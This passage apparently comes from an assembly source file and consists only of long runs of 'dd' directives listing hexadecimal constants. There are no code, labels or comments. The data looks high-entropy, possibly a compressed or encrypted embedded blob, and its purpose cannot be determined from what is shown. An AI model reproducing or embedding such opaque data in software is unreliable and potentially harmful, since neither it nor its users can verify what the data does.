0CCDD2010h, 3E57C844h, 577F7B33h, 429CB0E3h, 3B8AB8D6h dd 4F4DB501h, 0C36CC43h, 3DB0C0E0h, 10DF3758h, 0A1E8DB1Bh dd 18982805h, 5D60681Ah, 1D51EA38h, 4006EC37h, 6108CE73h dd 5860185Eh, 0EB3098B5h, 0A0B8DE09h, 0C645669Ch, 1044C7D8h dd 0F0461F30h, 7451EDF5h, 204B6380h, 0E0C1CF93h, 3760BA35h dd 9DC40892h, 28B74D46h, 48B6BE31h, 0A041AF65h, 88901A02h dd 16637CC1h, 3143BB61h, 8088A928h, 9D06F21Bh, 70776B99h dd 7D61250Ch, 431B08DFh, 3751A6C0h, 4548B8E0h, 18CC1FC9h dd 90C008E4h, 301CDA58h, 0F0FF0821h, 3108B0A9h, 1B08DD27h dd 4F8C02DCh, 8E2E8158h, 30E84D58h, 7632956Ch, 495770D0h dd 0C4470A40h, 7A896880h, 64FC49C0h, 9E260DF0h, 3C05E424h dd 0F86A750Ah, 0F08079BDh, 5858DF70h, 2CD1007h, 0DB6E60C6h dd 599431D8h, 9D533C30h, 127CDF28h, 501C8640h, 0C050E818h dd 101E6278h, 0AC812176h, 0D17A9CFEh, 0C01837FDh, 751C3024h dd 1B4040D2h, 0CFE09C9Bh, 4D18B9C3h, 0BE181036h, 8CF6808Ah dd 47C0DCB3h, 484C40E4h, 150AE844h, 41109299h, 0DAB4C74Dh dd 14F5BCA2h, 0D4DF888Eh, 5C2680AEh, 0E6C0093Ch, 6C86800Eh dd 0F43178BBh, 421920B6h, 49A3093h, 84C5A058h, 1314C520h dd 28F418D4h, 0BA632660h, 2B5CE38h, 5CD72330h, 0C043BFh dd 0E249071Fh, 9606E410h, 28C94DF3h, 1ABC31D5h, 50295980h dd 7540E845h, 92586640h, 0E6B52C08h, 1BFBE064h, 0E9497522h dd 0EC5C2A40h, 7A74DD48h, 0C0E8A657h, 2495A298h, 0E77580ADh dd 14887848h, 188C3A8Eh, 3C4066D0h, 0C3549BDEh, 91A1195Ch dd 55E88A40h, 0CCF88C0Fh, 8FA1120Dh, 0C50C46E4h, 50577879h dd 6C08C088h, 9247B2C3h, 8D102C0Ch, 6F1F0EA8h, 6CF3BF85h dd 430C2278h, 783E8E90h, 816307F5h, 0EC99C5ECh, 48CE33E0h dd 280FF29Fh, 28DECA80h, 0B13B9FD1h, 0D5C9849Dh, 1CC28A43h dd 0C98BE3Dh, 0B9392E9Fh, 0C56FB5C9h, 0BE576938h, 5FFD0238h dd 5A42495Dh, 28DCE02h, 560538C1h, 84CA07Ch, 45AEE36Eh dd 79DC7504h, 88C04CA6h, 2290CCC3h, 48D5580h, 19810A5Ah dd 0F3908051h, 0DF285CD8h, 0FF24C4AFh, 0E01DB817h, 0F009D4D7h dd 0BFB0876Dh, 0F743EDBh, 3BB8A295h, 350F6283h, 20315DCBh dd 0AD806882h, 9D7FCC40h, 0A0570F6Ah, 0CBC1820h, 81204E8Dh dd 3F53C109h, 43C3E01h, 40B17C77h, 3B1505CEh, 986C1084h dd 477C08A6h, 0F50683DAh, 2C3071C8h, 0D28179Ah, 0F4E07A46h dd 5CE07F08h, 18504024h, 313EC8D8h, 0D55155D4h, 0C04880B4h dd 1FF40A99h, 0D8156619h, 988D4845h, 43663181h, 0C753048h dd 604814F7h, 0E00BCDA1h, 7CA4AE70h, 26130B5Fh, 4C2930D4h dd 9F0CC0F3h, 0E5181E79h, 7B324CBAh, 43BF081Ah, 3986C188h dd 3BBCB041h, 65128430h, 937D20ECh, 112054B4h, 0BAD2E02Dh dd 42CC3218h, 0CE92C08h, 0A0DC60F0h, 28B1D832h, 202C6178h dd 0AC0167C5h, 0BC188A3Eh, 0ED3CB041h, 8898008h, 28025520h dd 4850C21Fh, 96084D6Fh, 16BFE043h, 7CA01E52h, 96B23EC8h dd 9B636078h, 28359F91h, 0F88E33D8h, 0AD58CEBFh, 14CE8114h dd 0E6918Ah, 0B8747B95h, 0A0C051FBh, 4820F3C1h, 0B8AD505Fh dd 14CF2480h, 101E1808h, 0B35087C0h, 0C0A34D80h, 8C71A2E1h dd 0E8075430h, 0ACF950C8h, 7B30094Ch, 9C2251A0h, 0DC60D176h dd 0D0A060F2h, 8C677E7h, 48384EADh, 247E700Ch, 0FF41F87h dd 501929B9h, 4ED84206h, 79204440h, 401F0B7Ch, 80063A5Fh dd 6181EB1h, 3F5CD6B3h, 0DF3008BEh, 0CB60280Ch, 2CA0C479h dd 4609E43h, 1B83837h, 9A6DC0E4h, 0BCD74D90h, 0DBD40C12h dd 0C7CC07ECh, 548C936h, 4E17555h, 81767DACh, 8C59BC54h dd 0E066CF80h, 0C850D22Fh, 0D7686ED4h, 1FC32C60h, 13B5E357h dd 1CC83599h, 9E60138Ch, 0DBC20290h, 709E53F9h, 81A4AB18h dd 0D0415E9Bh, 88A7C33h, 12F412F7h, 3FF8059Eh, 0DFCC021Eh dd 0A885D92Fh, 599C7CE5h, 21446E12h, 0BDF5E8C0h, 0A10A07F0h dd 0C2662D72h, 0F84F419Ah, 0AB37C30Eh, 0D5F42290h, 9FD4C0E1h dd 3020FF24h, 403C64D0h, 0C0FC8068h, 709343E4h, 0F80873C0h dd 0B551C02Fh, 0C160B1D2h, 41748095h, 0E961DA76h, 95A04862h dd 16100B3Fh, 0E9165D32h, 164078DEh, 7FFD6904h, 0E00A5DE6h dd 9828D830h, 3D92BC18h, 56E155A8h, 879E3006h, 89954788h dd 2A35B083h, 0C1D4E6FCh, 0C683FD07h, 1501B02Ch, 10A09F4h dd 0FDC9F5B5h, 8161C026h, 0A00FD48h, 0B4A6B740h, 9C72160Eh dd 3874A63Ch, 0BCD14C0Ah, 40022E13h, 0CF08961Fh, 20FD0278h dd 9C708478h, 0C0B6F50Eh, 13CEE10Ah, 0C64A161h, 71E531A0h dd 0D3A53958h, 8C4A1CC1h, 3040DC78h, 2688B0B6h, 6189280h dd 0F0D69DDFh, 308ADE34h, 324048A0h, 67B8281Eh, 34201440h dd 80313C98h, 0DC00898h, 0C0E40C69h, 8A54FE51h, 0D5156090h dd 0E0C40B7Ch, 603246C0h, 0B50F1A8Dh, 0B0C59926h, 0A8DE063Fh dd 0E1C1870h, 40956908h, 166D405h, 0C4061FF5h, 3A3089E1h dd 2124EE8Eh, 96A187A0h, 641422Ah, 0EB895C43h, 92E8937Ch dd 1860C80Fh, 0BB84008h, 36BFE5D0h, 83A09882h, 0EEE33863h dd 12F482CCh, 53C2A0A3h, 1F5D1014h, 58219C0h, 98601450h dd 9C64FDE0h, 0C018C990h, 7C3C4F09h, 87945A04h, 7509E4FAh dd 0F0B81008h, 8D13E8B1h, 9446E582h, 5A80E493h, 0C3807840h dd 0B1907512h, 0E5356844h, 650518B6h, 0D1F5DC5Eh, 64E115E8h dd 5EEB9648h, 0D98205E8h, 40B0026Eh, 0E8E55DF5h, 619C55F0h dd 8B08C250h, 0E09FB805h, 10B2545Bh, 466E3EC1h, 9621BFCFh dd 6C0B6906h, 1B86F35h, 8DB34BA3h, 10F82490h, 40121CB0h dd 6C9EAB4Eh, 4C2EF902h, 0FC41554Ah, 1338B85Fh, 4C9BDC17h dd 0C9DA6B01h, 2043EE99h dd 7E0F94DCh, 0AEAF05ECh, 245B8AD1h, 1306D4Bh, 95BA6F6h dd 0D5B8809Bh, 25EC8071h, 0B48DDFFh, 5C3CC0F8h, 7118D87Ch dd 0B588E83Fh, 7F620AF3h, 607CBBC0h, 407EFFACh, 3C11AE62h dd 1303301Ah, 0ADC0C893h, 263C4214h, 2DF058C9h, 905B8BEh dd 402BBB17h, 0A275AC02h, 684BCC0h, 0C66F93CDh, 552560E4h dd 0A560BC03h, 81DC022Ch, 0F0F005B6h, 80B39528h, 0AC2070D0h dd 857D0423h, 81298049h, 65E804h, 275CD8FDh, 708578FFh dd 324DF67h, 841B483Fh, 0F5C817E5h, 0DF5402BAh, 444FA98Eh dd 3115C407h, 7C813BB4h, 0D068F2D5h, 78D77713h, 761C3328h dd 82E77737h, 6140550Ch, 0B8A3C34Ch, 0FBC6080h, 342A5B8Ch dd 0D0B8E854h, 70DD802Bh, 0E4D0874Eh, 0F60A380h, 0E22B1375h dd 0D7980B7Fh, 0B80FB03Ch, 417CD3E2h, 0B93E362h, 433DF02Bh dd 0A21DFA74h, 0CFC035D2h, 0FFE3A15Ah, 825604B4h, 0EE9ED8A5h dd 0E069E983h, 18FD7D73h, 80102FBh, 4C52D162h, 2670801Ch dd 7C2C75F4h, 0D353037Dh, 6742D789h, 0DB227014h, 0F57DB01Ch dd 0BA430A7h, 0E6C533A8h, 54E2FB1Dh, 2F8A08F1h, 10031C4Ah dd 635ECC3Dh, 53137000h, 0BF42FE1Eh, 0F38CCE8h, 0BD7F82F0h dd 92D1038Fh, 810C93DAh, 48F9F0F3h, 78315691h, 5B15B983h dd 0F05EE0E9h, 0ED7FEFD3h, 694FC20Eh, 47AE85FEh, 7237C68h dd 0A9BAF052h, 85B3C0C4h, 7FAFE21h, 829FE247h, 14AF2C5h dd 6ACBECA0h, 72302FDh, 4397C0E2h, 4402BCA0h, 0F873E709h dd 38D0850Dh, 98E69C4Ah, 7C90A20Ah, 2B7020D9h, 66FB280Dh dd 0B81860F4h, 0D70A9F42h, 0DEDC2215h, 0CC4BA07Ch, 6D2E1443h dd 571FF863h, 9491FEEAh, 8CD5E031h, 0C1C0606Bh, 0FE680413h dd 7CB00268h, 7AC810D1h, 14F388B9h, 2215D67Fh, 0A074FA5Eh dd 14717775h, 0F0C7AE0Fh, 0C5D0861Fh, 68EB9302h, 3018B170h dd 0B339F93Ch, 6BD340CAh, 0E2FEF207h, 0A244F736h, 7868C484h dd 0AA0F05D7h, 96B0DCAh, 30015CF4h, 216430A2h, 1A952114h dd 0AB8C037Ch, 8F7DF4ADh, 3E9973C0h, 0DD6211FEh, 70EEE1DEh dd 0F3F16Ah, 0F41553D0h, 4445B0C5h, 12E87C68h, 42F375ABh dd 6935330Ch, 0E49FBE04h, 2E4E9B01h, 16B0801h, 1002F2DAh dd 0F1829C81h, 3745AE1h, 791B9C64h, 0F3B01BBAh, 394640D5h dd 60EA8174h, 90509050h, 904308D3h, 0E1C53128h, 98F57908h dd 0C210C688h, 18406345h, 22E05F55h, 8C55844h, 0EC09FA25h dd 423C875Bh, 0E394D50Eh, 0A444A895h, 0B378C676h, 14FA58B7h dd 45A3B4A3h, 4DC28805h, 9C6CD786h, 63ED0989h, 0D481C03Fh dd 0FCD44B93h, 0BCA33462h, 848FBBA2h, 82C80B0Ch, 0C071EC31h dd 8982746h, 0D4A278F7h, 83B0E057h, 0FAB189B7h, 9A7301B0h dd 84E84112h, 6B05E18h, 9E4338C8h, 35318E9h, 1E14904Fh dd 5D3478C6h, 15DA2B88h, 2563CE98h, 0E91B2F38h, 0EF488533h dd 0C2100289h, 7B94BE9Eh, 49C97788h, 83193072h, 5BE8B81Dh dd 5F60037Ch, 0A096277h, 1AA4F338h, 42750DCCh, 0D48EF2C8h dd 54236589h, 1024FB8Fh, 1E3ED46Ch, 788C7BC8h, 803009EBh dd 9F7C57B8h, 76ABF81Fh, 53561803h, 9EA3E18Ah, 3E0FD8F0h dd 4A1E82A6h, 0D6580749h, 0DDB880ADh, 380F8A57h, 8ED5FAh dd 988132DFh, 10DC609Ch, 3DCB697Ah, 0F51AE300h, 0AB4395CDh dd 21670377h, 57A1CF24h, 9CD949E0h, 7A7568C6h, 91766688h dd 381908BFh, 7C7841EBh, 70220BCh, 18988AC6h, 29F19E0Fh dd 0D88CA908h, 0A4407CDCh, 206409CCh, 0F99879B8h, 8090A8CCh dd 8A6D5868h, 64D93878h, 318F883h, 32F182ACh, 23389845h dd 0A360F810h, 40C3A184h, 0D4784887h, 7162C38Eh, 85EC081Eh dd 6A905807h, 848918C1h, 84741894h, 0F24276F0h, 5B10071Fh dd 0A0A7290Ah, 0CD065806h, 7E1E02E0h, 68D3388Eh, 0E7032094h dd 836FF839h, 789E05Ch, 0D88E0C7Fh, 7AB89812h, 7B78A0C2h dd 0E020945Eh, 1DF21416h, 6914C44Bh, 780CEC2Ch, 0E6C8804Fh dd 4C1588DDh, 0D3E515B4h, 0EAFCE0ECh, 0C6F97DBBh, 481FC990h dd 0DC9EF815h, 0B7C3A164h, 809AECC4h, 0B4A00EA9h, 0DC578BD8h dd 0A1450060h, 0D59F0CC9h, 0B69200CAh, 116ECEA0h, 1B9E0A07h dd 6000561Dh, 0D5ACE306h, 6E902A8Fh, 0E6FD1E1Ch, 31C0FB58h dd 6E742088h, 1C14084Eh, 7E530B0h, 0D1805F78h, 61DC0D7Fh dd 7E09AFC5h, 29E036E0h, 4F20E2FFh, 7BCC10E0h, 0F1F8D834h dd 60325300h, 6707FE20h, 0A5ECE6A0h, 3E23011Ch, 0FB4E17CDh dd 8AD491E0h, 0D345100Dh, 0C7D87051h, 74B8E260h, 0BD800EF1h dd 818A63D8h, 0E7C005D6h, 5B887807h, 6D44F00Ch, 0F0B1606Bh dd 65130ABAh, 0F38807D2h, 16F61EC0h, 51384D60h, 2913BCADh dd 60842805h, 0DDBA37A7h, 0D3915900h, 23226213h, 3F63F825h dd 5700312Bh, 0F652B9B1h, 53740DCCh, 0ADD7C10Eh, 0AE1A4076h dd 0A604096h, 0E458CD79h, 0EA474028h, 2D3E6C72h, 1A03012Ch dd 0CD96AD64h, 0DF563884h, 0E36C3876h, 9015C0F4h, 782300BEh dd 0BD97B8A9h, 0D31F2CB4h, 0F703AC49h, 0E0BAFD4Eh, 0E01B95h dd 0A0E2CB11h, 0AD68B437h, 1ED75601h, 9A811926h, 60D9F9D0h dd 0CACF80DBh, 0D33A16AAh, 0AB763B36h, 1D406474h, 60D2CFB3h dd 3EC39016h, 331E21E7h, 7703A6FAh, 0A1A4CBC5h, 57E0AD9Bh dd 2CAF0A4Eh, 24A04B53h, 52B30308h, 6814A196h, 0B07CE8D6h dd 7696C7D8h, 1D2B7C02h, 6C1CDE3h, 8BE1397h, 17F85B63h dd 0B708188Dh, 0B1B36848h, 37BDCF00h, 0D36F974Ah, 530C0874h dd 7D78C716h, 47962AD3h, 48307B0h, 7CB7BDCBh, 9F3C22B1h dd 50C501B8h, 749C97A4h, 4C01D85Eh, 935D57D3h, 3AA3F022h dd 0D7BDF018h, 0AEB3749h, 0A1B6ADA6h, 0A94EF8B4h, 4D48C8E4h dd 52431440h, 849714A8h, 4AD91AE0h, 0FAA036D8h, 0F8803EC5h dd 85638867h, 0DECC0221h, 88B6AEADh, 0C0C24B06h, 1078247Eh dd 15A66F03h, 0A07CAA11h, 205DA596h, 23156A6Eh, 0A070AA3Ch dd 209748E7h, 0C31C230Dh, 5384F621h, 0C9EA2DBh, 81511306h dd 0E30469D5h, 0B321E684h, 6C685F84h, 0E8170A49h, 80F48234h dd 77B87D1Bh, 0BA7E3092h, 0E5985206h, 1083251h, 0AEA3B491h dd 891AEBB6h, 0DDF690h, 53066AF4h, 825C3196h, 41959A18h dd 0F0CADCC4h, 0A966E856h, 0F0209038h, 0AA390604h, 1088B3F6h dd 768D7F50h, 4024164Ch, 0DDF13ACBh, 6012DB31h, 0CC1E6580h dd 123E425Eh, 0E00A3F5Ch, 0D0F8C04Ch, 8C8239B8h, 0DF31A3C0h dd 0D967205Dh, 60548820h, 633EE805h, 0DB4D36ADh, 0D4092B00h dd 6695DFE1h, 589E47FDh, 0BDD24143h, 300A9D77h, 3E481B38h dd 0DCF42870h, 0A574F67Fh, 0CE4E3618h, 7CA15408h, 48023AADh dd 0A3ACD60Ah, 0F936F0F0h, 835066E4h, 0B43363D4h, 8540B831h dd 7F27F078h, 0EAE31286h, 2D5C0C28h, 38D137A0h, 6C89E09Ch dd 23B644C0h, 2C5A4626h, 8C1BEF0Ah, 6C0694C1h, 92FFD140h dd 0CEFA0307h, 47D045BEh, 2CCA39E0h, 62ED7100h, 3B2D73A3h dd 4C6607C3h, 406522DDh, 43B29824h, 0F40324ACh, 0E017EA3Eh dd 0D859E04Eh, 27B09Fh, 2D7150B5h, 8C65CCB4h, 0DD200B52h dd 0E6F00E01h, 0F9F04BDCh, 0B03F834Fh, 234D01F1h, 13CC653Dh dd 777204Bh, 7F445BBFh, 7119C14Dh, 732DF8FBh, 802C0D80h dd 82438C0Ch, 85ECE8Eh, 193A7AB9h, 9C789ED2h, 1F6DC086h dd 7261082Dh, 0A0878D50h, 0CF128841h, 0B028C5Eh, 0EDCC97EAh dd 0ECD9B081h, 306DF89Bh dd 0D71520Dh, 0E0D060B2h, 0EADF053h, 0AC99DAF8h, 8FEC0858h dd 600D68DDh, 0C404C0CAh, 0FA39A478h, 95A83159h, 52C679C8h dd 0A0BE2CA4h, 15A3110Ch, 379939B3h, 5598280Bh, 419C79CBh dd 50516269h, 29FA39BCh, 3E8038C9h, 0FB200418h, 45DBA7D1h dd 6C68C589h, 773314BDh, 0EC0008AAh, 44E227A6h, 530F5E2Ah dd 6066C604h, 4C615DBFh, 15407469h, 7C91C02Ch, 34E00EA2h dd 4C48EDACh, 0C9D31D3Ch, 9C8C0D0Ah, 1022D09h, 9854CD04h dd 5FB0892h, 1D09ED00h, 0E82314E0h, 60EE8D0Ch, 9F1E1430h dd 0C11DCD73h, 0BAB46D00h, 60BD672Eh, 972928A5h, 0AF3A8C66h dd 4AC0A96h, 0FE14F0C7h, 0CD3C7CD0h, 0B87E7C8Fh, 2F312CF8h dd 0ABC2C0AAh, 974B088Ch, 8C49928h, 4080232Ch, 0A7C4AF6Ch dd 0B2D9C0A0h, 0BC48AF7Bh, 0BE3750B8h, 4089A400h, 78D7103h dd 504DE81Ch, 24ECA860h, 0F0049131h, 0A50171BFh, 69AE66D0h dd 0B882EF39h, 982F5C0Ch, 97061C9Eh, 0BD61D9CAh, 53593E88h dd 0F44C988Dh, 38DC1B38h, 0BB469E5Fh, 0A92B4410h, 7A72E080h dd 0AA4DDFCDh, 0C7221510h, 549624B8h, 181991F0h, 68710DDEh dd 68AD5AB9h, 0A4C20981h, 6C20E772h, 2E5032D9h, 444F3330h dd 971EA587h, 7985C87Ah, 0EC04A211h, 40789130h, 0EADED70Ch dd 3999A072h, 49F5D61Ah, 1D26C0B7h, 710C06BCh, 584C10ABh dd 56C0EE8h, 8C2C8161h, 0BAE398B7h, 0C84BC91h, 0EC27813Eh dd 0F3203969h, 0C3A49DAh, 0C0BD46F1h, 0AF0A529Fh, 0BCCE5969h dd 887C3834h, 0BAD908BDh, 0A626D38Ah, 3A68C118h, 0D5A8DEA3h dd 3BE18C96h, 0EE67D0C0h, 1924BC98h, 0AD056CD8h, 7468C58Ah dd 30EDF019h, 0B978D9CEh, 0A439BFF9h, 1E1A3AA9h, 6F007B09h dd 73A0CAEDh, 0F431484Dh, 3B02D12h, 0ADCD2C78h, 0B8F19828h dd 0F0A06C12h, 0A18BF004h, 0CD30EC81h, 4AF31096h, 0CC47BACh dd 6C0809CCh, 20D9FD20h, 0E320C048h, 95625190h, 582755F1h dd 0E8841C0h, 7490A85Fh, 0ECEDD924h, 3C052905h, 1861B878h dd 0F9023EE6h, 9800379h, 0B490571Fh, 0C82B429Fh, 2468DAF1h dd 6F261B93h, 4980282Dh, 0CD711FEFh, 1280987Bh, 4C0D5EDh dd 1F3DD61Ch, 0A0683C15h, 494FD596h, 390920A8h, 0AC8F9DCCh dd 3C3C22E9h, 67ECF926h, 3C4C5412h, 0A9FB39AEh, 70317188h dd 0C20DCE1h, 74DF4CEDh, 38238C0Ah, 22C70A94h, 0A188F098h dd 629FE313h, 1EF97802h, 9D10C120h, 0C4DC7477h, 0D02FFDB9h dd 0CBA41994h, 0D00280AFh, 21B570AEh, 60CFFCB9h, 0BC933C50h dd 3E5C9FE0h, 68656263h, 0D842FED9h, 28C01862h, 0CD633AACh dd 1A40D78h, 614FB8B0h, 20DCF3CCh, 104C5638h, 0A0D452C0h dd 30AFBBC4h, 79686430h, 6C14010Ah, 12B44C4Dh, 900333C9h dd 0A0C699ADh, 0F870C80Dh, 0C7AB24E9h, 2B341FA0h, 3C93E198h dd 99C9925Eh, 0A47CE011h, 0CE3B74CAh, 0A25D2A89h, 0A07B8826h dd 737FED02h, 4FCFCD6Fh, 28A3A8h, 48A0287Ch, 9E00DFC3h dd 5E9F3FC0h, 0CA7D6A73h, 0DB286838h, 6E159074h, 920DE7Ch dd 0E2D3193h, 2EB56194h, 9821F527h, 66F30E87h, 0C1AF940Ch dd 968E311Ch, 0C7D3960h, 0ABC0A884h, 433362C9h, 0AE682E25h dd 779C8940h, 0D87A7C00h, 3C1F2FF2h, 5D3D99D7h, 0B4D31D4Ch dd 5E6B0C87h, 593E85AFh, 0D59E6881h, 59E0E420h, 0F0E6D429h dd 14679A21h, 5909E446h, 885FA15h, 4790C0A3h, 88983A1Dh dd 9838CE31h, 44203BC8h, 0EDBC1E84h, 0B41DD2Fh, 401A56Fh dd 1CA054Ch, 0F470BBC9h, 908CA091h, 0A453AD9h, 48D11Dh dd 78C37D0h, 5B7CF370h, 551F5018h, 78885220h, 1B4A780Ch dd 107B700Fh, 8C6233E1h, 10F41918h, 48EA6367h, 4000E58Dh dd 4458399Fh, 0BC9C1Eh, 7B740B95h, 42E7CF1Dh, 0D559EE00h dd 655BC404h, 487118BBh, 568A28F0h, 580F340Eh, 0DBD063EDh dd 0C310BBBAh, 8E1001B4h, 8C7098C3h, 61F0D0D5h, 0EC785E63h dd 0E5200153h, 6E300CFFh, 0BF888C73h, 781B204Ah, 8EF037E1h dd 8BC843C0h, 5476B819h, 0E0BA4E38h, 38EF5918h, 10E85AA1h dd 0CF5B106h, 19E8FBB0h, 18E73F70h, 2704B2Dh, 0C8D84D75h dd 15513066h, 2F3334E4h, 0E6B0D0D9h, 587014C0h, 0D719B459h dd 84688040h, 0E7B910B0h, 10206006h, 0B0C489EAh, 2A0D5BB8h dd 63CDE0A8h, 0E42518C6h, 3E412BE8h, 0F2C242BCh, 0E75FB138h dd 99979098h, 40CCC702h, 43905028h, 0E0E8D847h, 0DACA2113h dd 0E9E69186h, 0D8C85048h, 0A0785090h, 0CC14870h, 0F047B2ACh dd 4F51F109h, 80F23C04h, 125EF04Ch, 0B041C0A5h, 0D1183207h dd 0F0488761h, 98874D80h, 839B30A9h, 58184567h, 8EF0EE33h dd 2860CDECh, 6384410h, 0C8B6F0B4h, 8A53030h, 0A5125A50h dd 0C3F241B8h, 2931185Fh, 50ACEDEEh, 132037C0h, 643603D4h dd 0C95111BBh, 8C3E2824h, 6A9B008h, 50586970h, 1A50A63Eh dd 8A087430h, 5490D8A6h, 0B8E0617Eh, 4A40CA90h, 0BADA82C4h dd 71812C5Fh, 631024FFh, 0ABF0A0A0h, 0AD3AB092h, 40702441h dd 6050CC21h, 2C6652C9h, 0C05A5114h, 2B287012h, 0BD721F60h dd 0B10C20A9h, 4830E816h, 500A8C40h, 54B0E1AEh, 0CCEDC808h dd 0F79163DAh, 0B710D019h, 38258E49h, 0AAE16822h, 0F1985CBEh dd 0B0BCDE50h, 78D2902h, 7137DF0h, 0F1944A75h, 0A4DBE070h dd 0D1481A62h, 0AB610E50h, 0DAB007B2h, 0AAD0E081h, 1F985EE1h dd 52042822h, 3C836AACh, 50300AB3h, 0F390E5F7h, 68544CB8h dd 2DD17162h, 8C404192h, 7061845Fh, 4833BB30h, 0FD41711Ch dd 7061780Fh, 1859F004h, 0E42F2B51h, 81E5CF70h, 0A61C4372h dd 0A2B897E8h, 7A0037ECh, 0BFA14CA3h, 3AD88933h, 900E2931h dd 9EBD325Ah, 6809004Eh, 0D67DC77Ah, 0CCA3DF01h, 54E637DDh dd 0CB2CC4h, 2B973AE9h, 0A6D1C7FDh, 0D39AC80Fh, 0EB8DCA3h dd 0C7E7A929h, 0E9F3C932h, 20E2A133h, 9669C2F3h, 0BCA042Ch dd 6010B06Fh, 0D3ABE328h, 32E20128h, 8F480949h, 34E7FA8h dd 2027FFA9h, 4918E470h, 0C468235Dh, 0CF08DD4Ch, 4A862AEFh dd 0E66DE4Dh, 8F90E908h, 0E3631D74h, 0AAEB0881h, 0F7E56CA3h dd 18A7808Ah, 104A08A0h, 69083A18h, 101762F0h, 8083B662h dd 49F947C0h, 7C610CC7h, 15C60014h, 0DD4AB27Eh, 0A600253Bh dd 90FEE5D9h, 6EDB05Ch, 7754606Dh, 153C0863h, 8B41840h dd 6EA1410h, 5B7461D8h, 0FEEC08DEh, 1A20F4F8h, 513B02FFh dd 36B2B45Fh, 0D011F600h, 80D90391h, 0A5CD1F5h, 1EFE101Fh dd 0A61F6F24h, 0FF57B100h, 7499F1CFh, 0ADD133F8h, 0FDC29108h dd 1F9A04h, 0F1D01FDCh, 11E8208Fh, 7110C661h, 51F0D614h dd 20F063C0h, 6835D91Bh, 9C0C10BEh, 0FD3D60F5h, 2F52288Ch dd 31408058h, 0B7F2400Fh, 2502A63h, 0CDB1E10Ch, 0B431A1F7h dd 36110884h, 0D354060Dh, 0D5823A60h, 27E2310Ch, 9CD2068h dd 42F158A9h, 29B5118Ch, 8C3C260h, 730EB451h, 0B178C380h dd 50372B81h, 0EAC6807Ch, 890D820h, 4363D411h, 0A149FA98h dd 8041ABD1h, 98C96B1h, 71184A8Eh, 0BE1120C0h, 151CF10h dd 67B45AE3h, 2360428Eh, 0EF080200h, 20230622h, 0D05C7625h dd 7034DA40h, 1B08C38Ah, 5789D1EFh, 29608C1Ch, 4007B801h dd 51802E2Bh, 71E8C2BFh, 88862533h, 0F120086Eh, 4C112244h dd 51E0C661h, 28952C8Eh, 8B28B491h, 0B27128ACh, 0F0F128B4h dd 0DC41FEACh, 0D108F159h, 0E111BF5Fh, 3104F138h, 0D1012D02h dd 9847114Fh, 7C295DF5h dd 1BE57C42h, 0BD70F909h, 1A780662h, 835124F0h, 0A6358C58h dd 2165A508h, 0E01DBF90h, 0EDEC250Fh, 7CF3D9B1h, 900561F9h dd 1F6EE51h, 0C05A5D0Dh, 0CF055A11h, 435C990h, 0B8812EA4h dd 29F462D4h, 88446374h, 985065F1h, 0A4A142A0h, 71702064h dd 48F7DB20h, 0D112847Fh, 0D2284DECh, 8830A388h, 3849A562h dd 37486230h, 88E928FCh, 11263112h, 0AA14282Ah, 50CF2446h dd 0CA8D28Ah, 9C88FBC1h, 9824F356h, 8E478D90h, 0D480F077h dd 0F5A7097Fh, 0E8015E71h, 1D9E4D1h, 0FC4328BCh, 910812A5h dd 0B8101A30h, 0D81D08BEh, 868734Bh, 901E3177h, 84E8DA61h dd 20F6DE2Bh, 3DB0E40h, 30636BF2h, 69F75805h, 0BF381870h dd 9112F701h, 105C7975h, 0C0D840A3h, 7987E230h, 24D8EA4Dh dd 0B6F834C7h, 0B80C18CAh, 0EBD030BCh, 0E088F653h, 325241D7h dd 0BA719E83h, 35E7008h, 145B838Eh, 82985DEh, 4A308D3h dd 4128E240h, 0B4FF00B9h, 2A98137Eh, 5F605D64h, 7808BB21h dd 0FDF70127h, 6F573682h, 11F9D084h, 0B689180h, 0AF7F097Ch dd 0FAA11380h, 54605B3Eh, 0E434A541h, 1527794h, 0D1925AA8h dd 10DAB7E8h, 1F386E9h, 646B73A5h, 0ED2D9FD9h, 140505Ah dd 0F7231E78h, 3D311F5h, 5B7B25A2h, 8267A1ECh, 7A06D880h dd 0CC0D5264h, 6B0B6E00h, 7E8C7323h, 0F0252C7Ch, 2CEF0461h dd 6804C6EDh, 1D30F800h, 0B81892A0h, 0CC4A007Ah, 0B0388951h dd 9739B5C5h, 43C30FD1h, 9F2818h, 2A242B4h, 0D407546Bh dd 0D9A4A8FDh, 80C35642h, 9CC90EB0h, 72100ECh, 3162CFDEh dd 0A60187A3h, 4B85F304h, 0E3C4B958h, 72B4007Ah, 7DCF8FB3h dd 0F20AF646h, 0D4E99851h, 5DC2F39Fh, 9320C399h, 95601740h dd 0FC5D0ABDh, 0E8450840h, 9CD4003Bh, 24B1CD88h, 303C396Dh dd 0FAE28A0Ch, 0DE68EE2Ah, 46562CD9h, 0C51E0049h, 8353EF98h dd 6E410CF3h, 5B50C3C2h, 0AC5CDB2Ah, 5102257Ah, 0CF0672B7h dd 0B86D40D7h, 2180E364h, 66517AD3h, 3F006F1Dh, 31AF1E96h dd 0BF4B84h, 0A86597EBh, 7F0F60C4h, 1A9B7000h, 4ACC05BEh dd 0FC034F5Ah, 0E6D40717h, 404FDF87h, 6C085EEAh, 2540C318h dd 8BD3CF1Bh, 770010A6h, 0E4E2A442h, 6365EEB4h, 1C8F09FBh dd 48572000h, 0F26729A4h, 97E90012h, 0A26CC41Ah, 8601B66Dh dd 42103563h, 0A180FD90h, 52BA0BAh, 88003DD1h, 2EF5D48Dh dd 41838Bh, 6AB197EAh, 0A204802Ah, 48E26B00h, 0C3596E0Ah dd 8D020CA0h, 1A48B8F3h, 73BF5F00h, 0EDB5E3BCh, 250A3E8Fh dd 1A9240F4h, 731F5100h, 58474117h, 3771F5Ch, 49883086h dd 8B001690h, 0C131539h, 3E4D7324h, 0B78F98DEh, 91AE966Dh dd 0C50DEC60h, 567B4FB3h, 0ED9F1703h, 71F15Eh, 2073E449h dd 7F80D86Ch, 0A8653B28h, 2600C798h, 0E8768C5Dh, 0A42201CAh dd 720E025Ch, 0ECBDE3E1h, 0A0501619h, 74BACAh, 0D17C3602h dd 0A9A661C0h, 0E6888900h, 46A2EF0Ch, 104C0026h, 0F56A8CB2h dd 32785447h, 2B41356h, 0CBAC2B9Fh, 87FC3165h, 2A69A821h dd 146661F0h, 0BD160083h, 0AC4DDF31h, 0C8C07AE9h, 0A013F432h dd 18040F5Bh, 99E19586h, 0A8715674h, 2D2118D9h, 7B5080DEh dd 55C4E57Eh, 21D86086h, 11A5D931h, 3A79710Dh, 1F0F0E0h dd 8C2E0060h, 0B87ABE02h, 911FC96Bh, 0D64A4CCBh, 3064A48Eh dd 